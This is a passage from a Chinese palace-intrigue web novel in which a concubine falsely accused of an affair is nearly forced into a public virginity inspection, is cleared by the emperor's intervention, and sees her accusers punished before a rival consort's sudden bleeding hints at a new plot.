她只得转向玉嫔:“既然玉嫔也瞧见了,你来说说到底怎么回事?”
众人目光顿时投向玉嫔。
玉嫔虽想将楚念辞踩死,却不愿当众得罪皇后,便故作无辜道:“臣妾确实看见慧选侍与世子在说话,为了陛下清誉,才想先将二人送交掖庭问个明白,究竟如何处置,还请娘娘定夺。”
俏贵人轻轻勾起嘴角:“如何,娘娘您看,慧选侍,私会外男总是事实,除非你能自证清白。”
玉嫔在一旁天真接话:“在这宫里要证清白倒也不难,请内医或教引嬷嬷验身便是。”
此言一出,不少妃嫔神色微妙,有人甚至耳根泛红。
楚念辞心头一凛,顿时全明白了。
所有秀女入宫前,都须在储秀宫由教引嬷嬷验明是否为处子之身,检查谷道与麦齿是否完好。这一关虽隐秘,却无人能躲。
唯独楚念辞是皇帝特旨入宫的,未曾走过这道程序。
看来对方是咬定她曾与端木景瑞定亲,早已失贞,才在这儿设好了圈套。
俏贵人自以为得计,掩唇轻笑:“听说慧选侍从前和蔺院使有过婚约,该不会早已偷尝禁果了吧?若真如此,可怎么配留在宫里呢。”
淑妃轻咳一声,美目横了过去:“玩笑也要有分寸,这话说得太下作,事关陛下颜面。”
她转向楚念辞,语气平淡,“慧选侍,你若想自证清白,便让嬷嬷验一验罢。”
玉嫔连忙附和:“正是这个理儿。”
说着拍了拍手,两位身材高大的嬷嬷应声从门外走进来,朝楚念辞道:“小主,请吧。”
楚念辞白皙额头沁出一层薄汗。
她并非怕验,只是历来验身宫妃进宫都是用鹦鹉血滴腕,只有被疑失贞女人才会这般当众受检,分明是存心羞辱,听说以前有的宫女,受不得此等侮辱,想不开寻短见。
不由得攥紧拳头,贝齿轻咬下唇。
俏贵人又笑着凑近,压低嗓音:“姐姐别怕,都是女人,便真是年龄大些,嬷嬷手上仔细,给你用些脂膏,也不会疼的……”
这话粗俗不堪,众妃纷纷露出鄙夷之色。
心想这种货色也配入宫。
楚念辞却忽然低笑一声。
她微垂着头,礼数周全,声音渐稳:“臣妾虽痴长几岁,也算不得什么,贵人这话,倒像是在说宫中所有年长的娘娘们都得靠脂膏才行。”
要拉仇恨,谁还不会。
俏贵人脸色一白,连仪态都忘了,厉声道:“住口,你胡沁什么,谁嘲笑旁人了!”
果然,座上除了俏贵人,其余几位年纪稍长的妃嫔神色都沉了下来。
淑妃那双吊梢媚眼微微一扬,目光已冷得如冬日寒冰。
她妩媚的脸色瞬间沉了下来……刚才她才暗讽过皇后,转眼竟被嫔妃打脸。
于是厉声呵斥:“放肆!言语粗俗,竟敢当众口出秽言,来人,给本宫掌嘴!”
俏贵人慌忙辩解:“臣妾不是有意的,只是一时失言,求娘娘恕罪……”
话未说完,淑妃身边的大
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宫女已上前,不由分说正反手连扇了十几个耳光。
俏贵人虽是庶女,却是娇养长大,脸颊没几下就红肿起来。
她白着脸哭求:“臣妾知错了,求淑妃娘娘宽恕……”
淑妃挥了挥手,宫女这才退下。
俏贵人捂着脸还污蔑:“她分明是在挑拨……”
淑妃抬头一看,见楚念辞一脸坦然,礼数周全地站着。
淑妃见她这副不卑不亢的模样,打扮也素净,眼中的敌意反倒淡了些。
说到底不过是个选侍,掀不起什么风浪。
她原本觉得俏贵人貌美或可一用,如今看来这般愚蠢,实在不值当。
眼下最要紧的是争夺侍寝的机会,没必要在一个小小选侍身上浪费时间。
淑妃眼波一转,娇笑一声:“皇后娘娘可别往心里去,俏贵人方才那话,可不是说您呢。”
皇后脸色也难看。
这殿中她最年长,方才已被淑妃暗讽过,转眼又被低位妃嫔嘲讽。
“年轻几岁又如何?”皇后语带寒意,“莫非以为年轻,陛下就定会第一个召你侍寝?若是尊卑不分、狐媚惑主,别怪本宫动宫规。”
一句话说的俏贵人更无地自容,她捂着红肿的脸,硬生生将话题拽回:“臣妾知错……可娘娘切勿被她混淆了,验身之事,是否继续?”
“自然要验。”皇后冷声道,“来人,支上屏风,给本宫查验清楚。”
她刚刚已经查过,弟弟是被人下了药,肯定是中了别人的圈套,查出来最多训斥杖责。
可若楚念辞并非处子,便是欺君之罪,只有死路一条。
如此,正好拔掉这颗眼中钉,肉中刺。
那两个嬷嬷闻言上前就要拉扯楚念辞。
此时沈澜冰慌忙跪下,朝皇后道:“娘娘,即便要验,也该私下进行,在这大庭广众之下行此违背常理之事,让慧妹妹日后如何自处?这也关乎皇上颜面,请娘娘三思!”
她说着死死搂住楚念辞的脖子,不让嬷嬷近身。
顾轻眉想到前几日的救命之恩,也劝道:“娘娘,慧妹妹毕竟是养心殿的人,这般当众检验,陛下脸面何在,还望娘娘三思。”
皇后已经听不进去了,只皱着眉头,黑着脸不吱声。
几个粗壮嬷嬷上前帮手,将沈澜冰用力拉开,另一人已将春凳搬了过来。
楚念辞心跳如擂鼓,正想着是否要用指尖藏的金针,已被两个嬷嬷按倒在春凳上。
“把她臀部抬高。”一个长脸嬷嬷说道,另一个已伸手去扯她的外裤。
楚念辞忽觉身下一凉,外裤已被扯了下来。
就在这时,门外忽然传来一声接一声清晰的拍掌声……
“陛下驾到……”小太监的唱和声紧跟着传来。
楚念辞那颗怦怦乱跳的心,“咚”的一声,终于落回了胸腔里。
第30章 陛下亲审,君心似铁。
拍掌声一声接着一声,夹杂太监唱报声由远及近。
蔺皇后立即站起身,殿内众妃嫔也慌忙跟着起来,窸窸窣窣一片衣裙摩擦声。
皇后领着众人快步走向门口,准备接驾。
可她们还没走到门边,那厚重的锦缎挡帘“哗啦”一声被掀开了。
蔺皇后率先敛衣跪拜:“臣妾参见陛下,万岁万万岁。”
声音平稳庄重。
身后众妃也赶忙跟着跪下,俯首齐呼万岁,殿内珠钗微微轻颤。
端木清羽自门外步入,身上朝服未换,头戴金冠,步履间携着一身寒意。
年轻的帝王眉眼间仍凝着朝堂带来的威仪,那股尊贵之气却浑然天成。
他在凤座旁的宝座坐下,目光清凌凌扫过众人,方才开口:“平身。”
楚念辞趁众人**的混乱当口,飞快捡起地上的外绸裤,胡乱套上,也跟着跪倒在地。
心跳如擂鼓的颤抖渐渐平息。
“皇后起来,众妃也平身吧。”端木清羽的声音清越,却没什么温度。
众妃窸窸窣窣起身,退到两侧垂手侍立,殿内静得能听见呼吸声,谁都不敢大声喘气。
楚念辞低着头,视线里只能看见端木清羽玄色朝服的下摆和绣着金龙的靴尖。
他迈步走向主位,步履沉稳,早有太监麻利地搬来一张龙椅,摆在皇后凤座的上侧。
端木清羽一撩衣摆,施施然坐下。
他坐在那儿,明明姿态闲适,却让整个殿内的空气都凝滞了。
蔺皇后定了定神,温声开口:“陛下政务繁忙,怎么这时候过来了?”
她脸上带着合宜的微笑,
端木清羽目光扫过全场,朗声道:“朕刚下朝,想起今日是合宫请安的大日子,便顺道过来瞧瞧。”他说得轻描淡写,可谁都听得出,这“顺道”来得太巧。
他刚坐稳,一个娇滴滴的声音就响了起来……
“清羽哥哥!”淑妃从众妃中跨前一步,笑得眉眼弯弯,丽色顿生,“您来怎么也不提前告诉嫔妾一声?嫔妾好去宫门口迎您呀!”
这一声“清羽哥哥”叫得又甜又脆,殿内众人齐齐倒抽一口冷气。
谁也没料到,淑妃竟敢在合宫场合如此大胆,不称“陛下”,而用这般亲昵的称呼。
蔺皇后眉头几不可察地一蹙,随即恢复端庄笑意,声音温和道:“淑妃妹妹,你与陛下自幼相识,私下亲近些本宫理解,但如今既行了册妃之礼,在合宫场合,还是该遵宫中礼数。”
她转向端木清羽,得体地问:“陛下以为呢?”
“皇后说得是,”端木清羽淡淡地道,“这称呼,私下便罢了,当着众妃的面,不妥。”
如此不痛不痒斥责,淑妃脸上笑意更娇艳了几分。
她扬了扬精心描画的眉,声音拖得长长的:“皇后娘娘果然是诗礼大家出身,最是贤惠知礼了,不会与妹妹计较这些。”
这话说得辛辣讽刺。
宫中谁不知道,蔺皇后是将门之女,父亲是镇守边关的将军,大字不认识一箩筐,何谈诗礼传家,淑妃这话,分明是拐着弯儿戳皇后的痛处。
蔺皇后手指却在宽大的袖中蜷起。
楚念辞跪在人群中,心中暗叹,家世,在这深宫里就是最硬的底气。皇后没有显赫的家族撑腰,连个妃子都敢当众给她难堪,这中宫之位坐得有多如履薄冰,可见一斑。
这时,宫女端上茶来。
端木清羽端起茶盏,却不喝,只拿盖子轻轻拨弄着浮叶,语气听不出喜怒:“朕方才在来的路上,听底下人说,坤宁宫这边闹得沸沸扬扬,究竟出了何事?”
淑妃立刻抢在皇后前头开口,声音又软又糯:“都是嫔妾们不懂事,些许小事竟惊动了陛下。陛下朝政繁忙,嫔妾们不能为您分忧已是惭愧,还要劳您过问这些……”
她盈盈一拜,“今日之事,是臣妾自请罚俸半年,望陛下息怒。”
这一招抢先请罪,把皇后架在了火上烤。
蔺皇后脸色微微一僵,随即也屈身行礼,声音平静无波:“陛下,今日之事确是臣妾约束不力,惊扰圣驾,臣妾自请罚俸半年,并抄录《女则》三十卷,以儆效尤。”
两个后宫最尊贵的女人并排请罪,殿内气氛更压抑了。
端木清羽目光在两人身上扫过,端起茶盏,语气平淡:“皇后、淑妃也不必过于自责,宫中事务繁杂,难免有疏漏。”
他的视线忽然落在殿中央那架显眼的屏风上,眉头微皱:“皇后设此屏风,是要当众行刑?不知是哪个宫人犯了大错,需在合宫之日处置?”
“这……”蔺皇后语塞片刻,才僵硬着脸,缓缓道,“回陛下,今日原只是与诸位姐妹叙话,谁知俏贵人突然出首告发,指认慧选侍与蔺院使在后苑私会,为给众人一个交代,正在验贞。”
“验贞”二字一出,殿内温度骤降。
端木清羽原本平静如皎月的面庞,陡然转冷,长眉一扬,乌黑锋利。
他放下茶盏,瓷器与木案相碰,发出清脆一响。
那双眼睛已隐着孤寒锐气,眸光如淬了冰的刀锋,直直射向垂首两颊红肿的俏贵人。
“慧选侍与人私会,”端木清羽的声音不高,字字如冰锥,如利刃,“是你亲眼所见?”
俏贵人额上冷汗唰的一下便下来了。
战战兢兢地出列跪下,声音越说越小:“陛下……臣妾确实看见慧选侍与外男搂搂抱抱……”
“你想清楚再说,”端木清羽神色平静,语气森然,“朕不会因审断不明,令一人含冤,你既入宫,当知宫规,若在君前胡言、诬陷他人,便是欺君之罪,当处绞刑,还会连累你父亲内务府令,流放三千里。”
话音落下,殿中连皇后与淑妃都色变了,全慌忙跪伏在地。
一片死寂。
坤宁宫正殿静的仿佛凝住了,所有人屏住呼吸。
俏贵人跪在那儿,肩膀止不住地发抖。
“抬头,看着朕说。”
俏贵人一抬眼,正撞上端
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木清羽如名剑般的长眉,与那黑沉如暴雨前的乌云般眼神。
半晌,她才抖如筛糠地开口:“臣妾……只是看见他们说话,玉、玉嫔也看见了……”
说完便瘫软在地,再也说不出话。
端木清羽转向玉嫔,声音像裹着冰窖里的寒风:“宫规森严,即便你是太尉之孙,若你信口开河,朕定严惩不贷。”
字字如冰刀,余音锋利。
玉嫔强压慌张,低头柔弱回道:“臣妾与俏妹妹一同去给皇后娘娘请安,路过御花园时,确实……确实看见慧选侍与蔺大人在拉拉扯扯,举止……甚是亲密,臣妾越想越害怕,毕竟是皇后娘娘内弟,于是想让?1?6庭人查查,也是为了陛下和娘娘的声誉。”
她的话,如火上浇油一般,哧地撩起了端木清羽星眸里的火苗。
他俊眉紧皱目光如隼。
半?1?8后方摩挲着手指上碧沉沉的翠玉扳指:“慧选侍,你怎么说?”
楚念辞迅速瞥了他一眼。
只见他平日清美如春的面容,已切换成铁马冰河般刺骨。
她脑中嗡嗡作响。
今日见到了帝王的另一面。
君心似铁,铁血无情。
猛然想起前日在养心殿,皇帝那句:“如果让别人碰,朕便把你的手剁下来。”
这句话后来她只当戏言,但融入此情此景,让她觉得那不是一句虚言,而是君无戏言。
心中怦怦又打起鼓来。
半?1?8,楚念辞方才稳住心神,冷静开口:“陛下,臣妾只是后苑偶遇蔺院使,并无任何逾越之举,俏贵人、玉嫔两人串通一气,在并无任何证据的情况下,红口白牙诬陷臣妾,陛下方才说必不使人含冤,若这就算私通,臣妾真是冤如六月飞雪了。”
声音虽轻,却字字清晰,稳如磐石。
藏在人后的楚舜卿听得血液发凉,喉咙痛哑,两腿酸软。
蔺郎?
他今日不该在太医院当值吗?
怎会和姐姐碰上……难道姐姐还未死心,私下约了他?
若真如此,便是欺君大罪,会连累全家!
她慌忙低头,生怕被人看出异样。
“蔺院使?”淑妃柔媚的声音,在紧绷的大殿里显得格外刺耳,“那不是皇后娘娘的亲弟弟吗,不知皇后如何处置此事?”
她眼波流转,瞟向脸色已微微发白的蔺皇后。
皇后紧咬嘴唇,片刻后端起姿态,凛然道:“既然两人都瞧见了,恐怕不是空穴来风,陛下,此事虽牵涉臣妾弟弟,但臣妾身为皇后,必须严查,给六宫一个交代,若慧选侍仍是完璧之身,一切自然分明。”
楚念辞跪地叩首,声音平静:“若验明臣妾确是完璧,又当如何?”
玉嫔手指微微攥紧,接话道:“若你仍是清白,任凭处置。”
这句话让众妃倒吸一口凉气。
殿内空气仿佛凝固成冰。
半?1?8,端木清羽喜怒难辨地吩咐左右:“传教引嬷嬷,即刻验身。”
第31章 陛下的弦外之音
楚念辞心中一片冰凉。
面无表情地想,他做的并没有错,为了皇帝的尊严,为了他的声誉,如此处置,确实无可厚非。
她心思电转,不能急不能乱。
此时一急一乱就全盘皆输了。
楚念辞不停在思索,几乎能感到里衣已被冷汗浸湿,黏腻地贴在背上。
蓦然之间。
她脑中闪过一道灵光,他刚刚说了教引嬷嬷验身,那句话,听着冷酷,实则是在点醒自己。
宫中验身向来是稳婆的差事,他却特意提起教引嬷嬷……熟悉的教引嬷嬷?
……明白了!
他是在给自己指一条活路。
既已暗中相助,自己得接住这个暗示,还不能让人瞧出端倪。
想到这儿,楚念辞面上立即作出受冤枉的样子,让鼻中一涩,眼泪随之流了下来。
悲痛欲绝地扑通一声跪上,道:“请皇上三思。”
“皇上,”沈澜冰亦猛地跪奏,心急道,“这实在太侮辱人了!”
但皇后随即开口:“本宫也知不妥,但每位入宫嫔妃皆经此查,若独为慧选侍破例,即便她果真清白,往后也难免遭人非议,贞名受损。”
嘉妃顾轻眉上前,跪在激动得跪不稳的沈澜冰身边,轻轻扶住她,奏道:“此法在宫中从未公开施行,难辨妥否,臣妾也不赞成。”
端木清羽眼底的冷意与疑惑交织,如一张看不见的网,沉沉笼罩下来。
此刻,只听他道:“朕意已决。”
楚念辞抬眸望向他,眼泪夺眶而出,肩膀也颤抖起来。
眼泪层层叠起,流了下来,声音涩然:“陛下,臣妾偶得圣眷,有幸侍奉君前,不意竟遭如此嫉恨,招人设计陷害胡乱攀诬,早知如此,不如您让臣妾做个白发宫女,孤苦终老。”
端木清羽坚如寒冰眼眸似有所动,仍道:“不验则无法还你清白。”
楚念辞红着眼圈,艰难垂下眼眸。
似心中却已有了计较,忽然泪眼盈盈地向上拜道:“陛下,既然要验,便请储秀宫的掌事姑姑过来。”
端木清羽深深看了她一眼,嘴角几不可察地向上一弯。
这女子总算还有几分机灵,听懂了自己的回护之意。
只是让她送个花,便惹出这样的祸事来。
好好还让自己差点绿云压顶,至于是否真的与蔺景瑞有私情,他认为不太可能,否则她又何必放着好好的伯府夫人不当,费尽心机地入宫来。
但她放着养心殿至坤宁宫大路不走。
非从后苑穿小径,惹出这种麻烦,真真可气,如此想着嘴角又冷了下来。
于是沉着脸便道:“可。”
说完,他看了敬喜一眼,敬喜领命而去。
约莫一炷香的工夫后,大殿沉重的门“吱呀”一声被推开了。
一道光柱随着门缝泻入,照亮了来人。
一个身形高挑的妇人,穿着一身崭新的二等掌事嬷嬷宫装,乌黑的发髻板板正正,只一支宫花,颧骨微高,散落的几颗雀斑,下颌略尖,面容严肃,她走进来,目不斜视,跪下磕头的动作标准又利落,不带一丝多余声响。
“奴婢给皇上、皇后娘娘,各位主子请安,”她声音平稳,“不知传唤奴婢前来,有何吩咐?”
端木清羽眉头微蹙,抬了抬手:“起来说话。”
“谢皇上。”嬷嬷起身,垂手退到一侧,这才抬起头。
楚念辞看清她的脸,心中微微的一松……来的是岚姑姑,宫里有名的严谨公正之人。
见来的是故人,她心头微松。
尽管她没说名字,但陛下知道自己曾与岚姑姑交好,特意传了她来。
看来……陛下并非全然不顾自己。
只听蔺皇后不容置疑地吩咐道:“岚姑姑,你去为慧选侍验身。”
“奴婢遵命。”岚姑姑恭敬应下,却并不立刻动作,而是再次叩首请示,“宫中验身,常用两种法子:一是鹦鹉滴血验贞,二是探查谷道,不知娘娘吩咐用哪一种?”
玉嫔嘴唇一动,似乎想插话,却被蔺皇后一记冷厉的眼风扫过,吓得立刻噤声,缩了回去。
蔺皇后拿起帕子,轻轻按了按唇角,转而面向端木清羽,语气温婉:“陛下,宫中历来多用滴血之法,只是眼下慧选侍受人指证,疑虑颇深,若用寻常法子,恐难堵众人悠悠之口,也难以还她一个彻底清白。您看……?”
她将决定权,轻轻递到了皇帝手中。
端木清羽的目光又落在楚念辞苍白却挺直的背影上。
沉默片刻,端木清羽看向岚姑姑。
岚姑姑立刻回禀:“陛下,虽说两种方法检验结果是一致,但探查谷道多用于罪人。”
端木清羽清俊的眉峰微蹙,开口道:“既然探查谷道多是用于证据确凿的罪人,便不合适,慧选侍不过说了几句话,并无实证指向秽乱宫闱,按宫规,新入宫宫女皆用‘鹦鹉滴血’之法验身,朕为示公平,便以此法为据。”
他语气平静,却带着不容置疑的威严。
楚念辞紧绷的心弦骤然一松。
心里喜悦导致她几乎不敢相信自己的耳朵。
仿佛听见了一声天籁。
陛下还是顾念着自己。
终究为她留这份体面。
这回凝聚在眼中的是一滴喜悦的泪水。
这鹦鹉滴血,就连皇后进宫用此方法检验,这方法便是当众检验,也不损颜面。
沈澜冰与顾轻眉也暗暗松了口气。
鹦鹉滴血是留了极大的体面。
岚姑姑见状不再多言,转身面向楚念辞,公事公办地抬了抬手:“慧小主,请伸出胳膊。”
楚念辞深吸一口气,在无数道目光注视下,缓缓将手腕递出。
大殿静得骇人。
岚姑姑示意,两名小宫女捧着一个小瓷瓶走近。
她取过瓷瓶,拨开塞
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子,声音清淡:“小主勿动,若挣扎失准,检验便有误,有损小主清白。”
楚念辞依言静躺,伸直手臂。
她曾听闻这法子:取驯养鹦鹉的血一滴,滴于女子腕间。
若血凝而不散,便是清白之身,若滑落或晕开,则非完璧。
一滴微凉的液体落在她腕上。
她屏住呼吸,时间漫长得如同凌迟。
全身僵硬,眼睛死死盯着那点鲜红。
血珠轻轻一晃,终于稳稳停住,缓缓凝成完整的一粒。
终于,岚姑姑伸手扶她起身:“小主,请起。”
楚念辞借力站直,腿脚仍有些发软。
腕上被擦净之处,仿佛还留着那一滴血的触感。
岚姑姑利落地用帕子拭去血痕,转身行礼:“陛下、皇后娘娘,奴婢验毕,慧选侍确是完璧之身。”
清冷的声音落下,楚念辞的心终于重重落回原处。
她向岚姑姑投去感激的一瞥,对方却已垂首退至一旁。
楚念辞眼圈微红,声音带着哽咽,委屈道:“陛下……如今验也验了,臣妾此身,总算分明了罢。”
端木清羽虚抬了抬手,目光在她脸上一顿,似有安抚之意。
随即,他抬起眼,视线缓缓转向俏贵人。
整个大殿的气压骤然降低。
“方才为求公允,朕准了验身,”皇帝的声音听不出情绪,却冷得像冰碴刮过,“如今结果已出,你是首告,还有何话说?”
俏贵人浑身一颤,脸色霎时惨白。
她哆嗦着唇,半晌才虚弱地挤出一句:“臣妾……臣妾亲眼所见他们举止亲密,即便身子是清的,那份私相授受的心思也未必干净……”
“大胆,强词夺理,”端木清羽的目光如刀锋般划过她的脸,“方才你口口声声说的是‘私通秽乱’,如今验明清白,便改口成‘心思不净’?若按你的揣测臆想定罪,宫规律条岂不成了废纸一张?”
俏贵人冷汗浸透了后背。
一片死寂中,她下意识看向玉嫔……对方却垂着头,毫无回应。
她忽然明白了:自己不过是别人手中的刀。
此事若成,是给皇上蒙羞,若败,便是欺君罔上、污蔑圣誉。
楚念辞抬起泪眼,声音清脆锋利如薄冰:“俏贵人方才言之凿凿,指认臣妾秽乱宫闱,如今验身已证清白,她却仍咬定有私情,胡乱攀诬,不知悔改……这哪里是指控臣妾?这分明是质疑陛下圣断、藐视宫规公正,将陛下的颜面置于何地?”
话音落下,整个大殿静得可怕。
所有妃嫔都不自觉地悄悄退开半步,离俏贵人远了些。每个人脸上都写满了惊惶与不安。
刚才那些话若只是妃嫔间的争执,或许尚有转圜余地。
可一旦扯上“藐视圣颜”、“质疑宫规”……
那便是将天子的威严,彻底踩在了脚下。
殿内落针可闻……
第32章 俏贵人被打烂,玉嫔被褫夺封号。
俏贵人浑身一颤,想起自己刚才那番指证,脸唰地全白了。
她跪爬几步,连连磕头:“陛下,臣妾……臣妾只是想守护宫规,肃清宫闱……”
这话一出,在场众人脸色都变了。
肃清宫闱?
这也是她一个小小贵人能说的?简直不知天高地厚。
端木清羽俊美如玉的脸上浮起厌恶腻味之色。
“哦?”楚念辞抬眼,声音不大却含讥讽,“陛下、皇后娘娘都在此,倒需要你来当家做主,肃清宫闱了?”
俏贵人张口结舌,两腿发软:“臣妾真的不是这个意思!”
她再不敢嘴硬,声音带了哭腔,“陛下明鉴啊!”
淑妃在旁边嗤笑一声,看好戏般添了把火:“不知所谓,皇后娘娘执掌凤印,臣妾倒想请教,攀诬宫妃、诋毁圣誉,该当何罪呀?”
她心里痛快得很……
前几日皇后还赏了俏贵人不少东西拉拢,如今这蠢货自己砸了脚。
“皇上、娘娘明鉴!”俏贵人慌得声音都变了调,“念在臣妾是首犯,求饶了臣妾这一回吧……呜呜呜。”
楚念辞冷冷道:“若人人都像你这般,犯了错就推说首犯,后宫还有什么规矩?”
这话直接将皇后也架在了火上。
今日若不严惩,便是明目张胆偏袒,往后如何服众?
“臣妾今日奉旨来送珠花,无端遭此构陷,望陛下和娘娘为臣妾做主。”楚念辞又道。
俏贵人彻底慌了,语无伦次辩解:“她既是奉旨而来,为何不早表明身份?臣妾真的不知道!她是故意隐瞒,引臣妾犯错!”
“够了。”蔺皇后冷声打断,眼底满是失望。
这理由根本站不住脚。
楚念辞何时表明身份,岂是她能过问的?
皇后看了一眼身旁神色莫测的端木清羽,心知不管真相如何,俏贵人今日都是自己撞到了刀口上。
“陛下,”她转向皇帝,声音平稳,“您看……此事该如何处置?”
端木清羽明湛眸光扫过瘫软在地的俏贵人,语气平淡:“按宫规处置即可。”
按宫规……便是无人情可讲。
皇后会意,朗声道:“俏贵人攀诬宫妃、构陷清白,事后不知悔改,反图抵赖,贬为答应,当众杖四十,移居闲月阁幽闭思过。”
一下子从贵人降为答应。
处罚力度惊人,要知道按照妃位以下侍寝后升级的惯例。
俏贵人只要侍寝就可升为嫔,宫中嫔位才是正经主子。
如今一下子连降两级,还要当众脱裤受杖,往后哪还有脸活下去?
俏贵人面如土色,扑倒在地连连磕头:“娘娘开恩!陛下开恩啊!”
皇后板着脸,也不看她,目光转向早已吓软跪在一旁的玉嫔,向端木清羽启奏“玉嫔,不是首恶,只是人云亦云、糊涂无知,您看?”
她可不想得罪太尉府。
端木清羽眸光冷锐地瞧了皇后一眼,抿着嘴唇,乌黑的长眉微微皱起。
端木清羽道:“后宫当如朝堂一样,整肃纲纪,方能有法可依,构陷之风不可开。”
玉嫔浑身一抖,微微侧目,看了一眼楚念辞与斓贵人。
眼中射出一道仇恨的目光。
那目光夹杂着怨恨、嫉妒、还有无限的仇恨和恶毒,仿佛要向对方生吞活剥一般。
皇后娘娘见陛下如此说,就是丝毫不讲情面,只好道:“构陷嫔妃……按宫规,裭夺封号,禁足一月。”
“哎哟”一声……玉嫔已两腿一软,扑倒在地,两眼一翻昏死过去。
禁足一个月,意味着首次侍寝的资格彻底没了,且裭夺封号,对宫嫔是极大的侮辱,封号代表了皇帝对她品格的认可,没有了封号,表示陛下对她的品格已经不再认可。
虽然还在嫔位,可她以后只能称“白嫔”了。
这才是剜心之痛。
殿内众妃听了,心中各有盘算,暗暗称快。
少一个人争宠,自己便多一分机会。
楚念辞满意眉眼上扬,看着宫人上来把她抱出去。
玉嫔,你以为这样就算完了嘛。
这个梁子结下了,你给我等着。
俏贵人见宫人来拖自己,又慌不择路地扑过去抱住了淑妃的腿:“淑妃娘娘,您替臣妾说句话,救救臣妾啊……”
她手上的戒指划到了淑妃的腿,淑妃厌恶地蹙眉,一脚将她踢开:“滚开!”
中宫掌刑的嬷嬷立刻上前,捂住俏贵人的嘴,利落地将她拖了下去。
很快,殿外传来一声声棍棒结结实实打在皮肉上的闷响。
众妃嫔屏息凝神,俏贵人起初还尖声哭喊,渐渐声音嘶哑,最终低落下去。
殿内重新陷入寂静。
良久,淑妃忽然轻笑一声,甚为得意。
这些一个个争宠的小妖精,看着就碍眼,如今少一个是一个。
她掩口笑道:“皇后娘娘处事公正严明,臣妾真是佩服。”
蔺皇后指尖在袖中微微收紧,却转向端木清羽:“陛下,您看臣妾这般处置,可还恰当?”
端木清羽抬起眼。
一双眸子凝着冰凉的色泽,如冬日素雪清冷。
“皇后处置得宜,”他声音温和,眼底却无笑意,“只是蔺院使擅入内苑,亦有不当。”
皇后闻言连忙屈身跪下,端美的脸上尽是惶恐:“陛下息怒,蔺院使此刻正跪在宫门外请罪,他想向陛下澄清……”
“让他跪着,”端木清羽冷冰冰打断她,“朕不想见他。”
“臣妾已着人查明,”皇后急急解释,“蔺院使确是遭人陷害,被人下药诱至后苑,那传话的是他学徒小冬子……臣妾找到他时,他已溺毙于太液池中,但臣妾敢担保,臣弟绝无僭越之心,他是冤枉的!”
端木清羽俊朗的面庞上掠过一丝锐气,眸中幽光微闪,直直看向皇后。
蔺皇后慌忙俯身跪倒,面色惨白。
“死无对证,查无实据,”端木清羽淡淡道,“果然好手段,即便他是被人所害,终究也有不妥,不该听信人言,擅闯宫禁,拖下去,杖二十,以儆效尤。”
皇后脸色一白,还想再求,却见皇帝已微微侧身,显是不欲多言。
她只得将话咽回,低声道:“……臣妾遵旨。”
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>殿外,正跪在廊下的蔺景瑞面如死灰。
他悔得肠子都青了……
原以为是念辞托人寻他,却没想是别人的圈套。
若不是楚念辞据理力争,陛下似有回护之意。
自己会落个与秽乱后宫的罪名,将整个伯府拖入深渊。
念辞,多亏你。
为我据理力争,这份我情记下来。
舜卿就在里面,而从进门到现在,她都没替自己求情。
是不敢,还是不愿,他不敢想下去。
听见只判杖二十,并未褫夺官职,他反倒松了口气。
宫监将他按倒在地时,他没有反抗。
棍棒一下下打在背上,他痛得几乎昏死,却死死咬住嘴唇,不让自己叫出声来。
整个行刑过程,殿内只听见沉闷的杖击声,无一声哀嚎。
楚舜卿听见陛下的圣旨早已吓得如鹌鹑一般,缩在人堆里,动也不敢动。
她只盼行刑,赶紧结束,千万别牵连了自己,心中亦暗暗着急。
怎么这一世?
所有的事情都不按前世的进程发展,明明有一件大事要发生……
端木清羽起身,本欲拂袖而去,却听淑妃站起来,娇声道:“陛下说了这许多话,定是渴了,臣妾小厨房里炖了燕窝银耳羹,您去尝尝可好?”
皇帝脚步微顿,终是笑道:“爱妃别整天挑燕窝伤了眼睛,皇后也起来吧。”
皇后低着头缓缓站起,面上已恢复温婉持重的模样:“本宫倒忘了照顾淑妃妹妹的身体,妹妹也要多注意,好好准备侍寝才是。”
言下酸涩,几乎溢出。
淑妃眼底掠过一丝得意,面上却笑得愈发娇艳:“皇后娘娘也要多保重凤体才是,这样才好长久地看着臣妾侍奉圣驾呀。”
正室又如何?
没有家世,陛下又不喜。
不过是个占着凤位的摆设。
祖父与父亲早就说过,只要她能诞下皇子,立时便可将那中宫之主拉下来!
蔺皇后胸口微微起伏,终是不再接话。
就在淑妃站起身的一刹那……
扶着她的大宫女绿翘忽然变了脸色,失声低呼:“血……主子,您、您裙子上……”
声音虽低,在寂静的大殿里却异常清晰。
众人闻声望去,只见淑妃方才坐过的锦垫上,赫然印着一小片暗红。
而她杏色宫裙的裙角,也洇开了一团刺目的血迹。
端木清羽本已走到殿门附近,听得惊呼,脚步顿住,回头看去。
楚念辞已悄然侧身,以袖微掩鼻息。
宫人连忙上前用屏风遮挡。
淑妃整个人愣在原地,呆呆低头看着那抹污迹,脸上一阵红一阵白。
殿内静得落针可闻,所有目光都钉在她身上。
“这……怎么会……”她声音发颤,腿一软,险些跌倒。
蔺皇后像是吃了一惊,随即关切道:“淑妃,你这莫不是月事来了?真是的,怎么连自己的小日子都记不清了?快,请太医来瞧瞧。”
淑妃脸上血色尽褪,又陡然涨红。
月事?她的小日子根本不是这几天,怎么回事啊……
第33章 淑妃血崩
淑妃当众漏了月事。
还是在皇上面前,当场俏脸羞得满脸通红,恨不得钻进地缝里。
周围嫔妃,其中几人脸上嘴角上扬,装出焦急的神色。
但那看笑话的眼神藏都藏不住。
淑妃指甲掐进手心,正要发作,贴身宫女绿翘赶紧上前扶住她,凑到耳边急急低语:“娘娘,切莫动气,不对劲啊,您的月事明明还有十来天,日子从未乱过,此事蹊跷。”
这话把淑妃点醒了。
是啊,她月事一向准得很,正是算准了日子,才敢断定明天能侍寝。
如今突然提前这么多,绝不寻常。
她抬眼,正对上蔺皇后那抹似笑非笑的嘴角,心里猛地一沉。
若是明知身上不干净还来拜见皇后,往轻了说是失敬,往重了说,就是欺瞒敬事房、对皇上不敬!
淑妃瞬间收起羞愤,警铃大作。
她本性多疑,立刻觉得有人捣鬼,当即扑通一声跪倒在地,声音带着颤:“陛下……这日子明明不对,还有十几天才该来的,这、这分明是有人害我!”
她越说越激动,环视四周:“是谁?谁这么恶毒,用这种阴招害我?”
刚才还偷笑的妃嫔们顿时低下头,没人敢接话。
谁不知道淑妃的父亲是文官之首,惹了她,说不定就牵连到自家父兄的前程。
皇上端木清羽皱了皱眉,脸色有些不虞。
他往前走了半步,又忍不住退了小半步,才开口道:“别慌,朕在这儿,谁敢害你?”
话虽这么说,他却悄悄用袖子掩了掩鼻尖。
这时,一旁的楚念辞轻声提醒:“陛下,香囊。”
